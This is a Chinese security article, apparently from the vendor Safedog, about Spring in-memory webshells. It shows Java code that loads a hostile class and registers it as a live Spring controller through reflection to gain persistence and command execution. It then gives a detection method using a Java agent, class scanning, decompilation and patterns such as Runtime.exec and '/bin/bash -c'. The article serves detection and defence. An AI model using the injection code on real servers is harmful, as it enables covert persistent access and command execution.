一、内存马概念介绍
木马或是内存马，都是攻击者在“后门阶段”的一种利用方式。按攻击者的攻击套路顺序，“后门阶段”一般是在攻击者“拿到访问权”或是“提权”之后的下一步动作，也叫“权限维持”。
业界通常将木马的种类划分成“有文件马”和“无文件马”两类。“有文件马”也就是我们常见的“二进制木马、网马”；“无文件马”是无文件攻击的一种方式，其常见的类型有：内存马、隐蔽恶意代码启动等。
二、Spring可利用点
DispatcherServlet.java
protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
HttpServletRequest processedRequest = request;
HandlerExecutionChain mappedHandler = null;
boolean multipartRequestParsed = false;
WebAsyncManager asyncManager = WebAsyncUtils.getAsyncManager(request);
try {
ModelAndView mv = null;
Exception dispatchException = null;
try {
// Determine handler adapter for the current request.
HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler());
// Process last-modified header, if supported by the handler.
...
// Actually invoke the handler.
mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
if (asyncManager.isConcurrentHandlingStarted()) {
return;
}
applyDefaultViewName(processedRequest, mv);
mappedHandler.applyPostHandle(processedRequest, response, mv);
}
catch (Exception ex) {
dispatchException = ex;
}
processDispatchResult(processedRequest, response, mappedHandler, mv, dispatchException);
}
....
}
从上面可以看到通过getHandler获取HandlerExecutionChain,获取处理器适配器HandlerAdapter执行HandlerAdapter处理一系列的操作，如：参数封装，数据格式转换，数据验证等操作。
然后执行handler
ha.handle(processedRequest, response, mappedHandler.getHandler());
最后返回直接结果。
获取Handler过程中发现会从AbstractHandlerMethodMapping#lookupHandlerMethod（）方法获取对应 MappingRegistry() 中的HandlerMethod。
MappingRegistry有对应的开放的注册方法：
protected void detectHandlerMethods(final Object handler) {
Class<?> handlerType = (handler instanceof String ?
getApplicationContext().getType((String) handler) : handler.getClass());
final Class<?> userType = ClassUtils.getUserClass(handlerType);
Map<Method, T> methods = MethodIntrospector.selectMethods(userType,
new MethodIntrospector.MetadataLookup<T>() {
@Override
public T inspect(Method method) {
return getMappingForMethod(method, userType);
}
});
if (logger.isDebugEnabled()) {
logger.debug(methods.size() + " request handler methods found on " + userType + ": " + methods);
}
for (Map.Entry<Method, T> entry : methods.entrySet()) {
registerHandlerMethod(handler, entry.getKey(), entry.getValue());
}
}
protected void registerHandlerMethod(Object handler, Method method, T mapping) {
this.mappingRegistry.register(mapping, handler, method);
}
如此便可以使用springContext动态注入HandlerMethod。
注入代码：
//使用自定义类加载拉起 ThreatClass.clss
MyClassLoad myClassLoad = new MyClassLoad("D:\\javadeps\\attck\\", ClassLoader.getSystemClassLoader());
byte[] data = myClassLoad.findClassInStream("com.safedog.controller.ThreatClass");
Class<?> aClass = myClassLoad.defineClasses("com.safedog.controller.ThreatClass", data, 0, data.length);
//获得springContext
GenericApplicationContext context = (GenericApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 注入bean
String dynamicControllerBeanName = "testController";
try{
context.getBean(dynamicControllerBeanName);
}catch (Exception e){
context.getBeanFactory().registerSingleton(dynamicControllerBeanName, aClass.newInstance());
}
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
m1.setAccessible(true);
//执行detectHandlerMethods注入hander
m1.invoke(requestMappingHandlerMapping, "testController");
ThreatClass：
内存马注入后执行任意命令：
三、检测思路
流程图：
1、使用java Agent探针动态注入防御agent到应用进程中：
public static void attach(String jvm_pid, String agent_jar_path) throws Exception {
VirtualMachine virtualMachine = null;
VirtualMachineDescriptor virtualMachineDescriptor = null;
for (VirtualMachineDescriptor descriptor : VirtualMachine.list()) {
String pid = descriptor.id();
if (pid.equals(jvm_pid)) {
virtualMachineDescriptor = descriptor;
break;
}
}
try {
if (null == virtualMachineDescriptor) {
virtualMachine = VirtualMachine.attach(jvm_pid);
} else {
virtualMachine = VirtualMachine.attach(virtualMachineDescriptor);
}
virtualMachine.loadAgent(agent_jar_path);
} catch (Throwable t) {
t.printStackTrace();
} finally {
if (null != virtualMachine) {
virtualMachine.detach();
}
}
}
2、被注入的agent（符合jvm规范），JVM会回调agentmain方法并注入Instrumentation。Instrumentation中有一个api能够加载出运行时JVM中所有的class
public Class[] getAllLoadedClasses() {
return this.getAllLoadedClasses0(this.mNativeAgent);
}
private native Class[] getAllLoadedClasses0(long var1);
3、拿到运行时的类根据高风险父类、接口、注解做扫描，把扫描到的类反编译为明文的java文件
CfrDriver driver =
new CfrDriver.Builder().withOptions(options).withOutputSink(mySink).build();
List<String> toAnalyse = new ArrayList<String>();
toAnalyse.add(classFilePath);
driver.analyse(toAnalyse);
4、发现明显的敏感操作
Runtime.getRuntime().exec()
cmd.exe /c
/bin/bash -c
且磁盘源class文件不存在
URL url = clazz.getClassLoader().getResource(classNamePath);
url为空磁盘上没有对应文件。
证明此classs就是内存木马并记录
5、卸载自身实例
风险父类
org.springframework.web.method.HandlerMethod
风险接口
org.springframework.web.HttpRequestHandler
风险注解
org.springframework.stereotype.Controller
org.springframework.web.bind.annotation.RestController
org.springframework.web.bind.annotation.RequestMapping
org.springframework.web.bind.annotation.GetMapping
org.springframework.web.bind.annotation.PostMapping
org.springframework.web.bind.annotation.PatchMapping
org.springframework.web.bind.annotation.PutMapping
org.springframework.web.bind.annotation.Mapping
本文作者：安全狗
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